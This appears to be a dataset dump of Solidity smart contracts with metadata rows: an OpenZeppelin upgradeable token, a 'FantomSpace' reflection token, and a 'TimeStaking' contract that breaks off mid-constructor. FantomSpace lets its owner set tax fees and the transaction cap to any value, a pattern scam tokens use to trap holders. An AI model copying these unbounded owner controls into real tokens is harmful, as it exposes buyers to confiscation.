function _isInitializing() internal view returns (bool) {
return _initializing;
}
}
// File @openzeppelin/contracts-upgradeable/utils/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/access/[emailprotected]
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal onlyInitializing {
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[emailprotected]
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20Upgradeable {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/extensions/[emailprotected]
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts-upgradeable/token/ERC20/[emailprotected]
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
// File contracts/MyUpgradeableToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract MyUpgradeableToken is Initializable, ERC20Upgradeable, OwnableUpgradeable {
address public implementation;
address public admin;
uint public count;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize() initializer public {
__ERC20_init("MyUpgradeableToken", "MUT");
__Ownable_init();
}
function _buildNumber1() internal pure {}
function increment() external {
count += 1;
}
}
| 43,635 | 10,666 |
e1638cc39178b9cd8c85569f8d043e24abe5652f0db87e2aa946b1d71e99b74f
| 31,251 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/08/0839aAfA8BC020cB55C52F1F01F867fddf0bc128_FantomSpace.sol
| 5,201 | 18,744 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FantomSpace is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Fantom Space';
string private constant _symbol = 'SPACE';
uint256 private _taxFee = 100;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x4E0efc2d3b9510712AaB6F6ba0A03a459a01FB04, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 327,184 | 10,667 |
7bc9b639251598ba99e7f8c1bf28621e881946235fd204b82c9a836d263729f2
| 27,263 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/55/5501786220DBfBCA24855c3411190f8569fd8E19_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
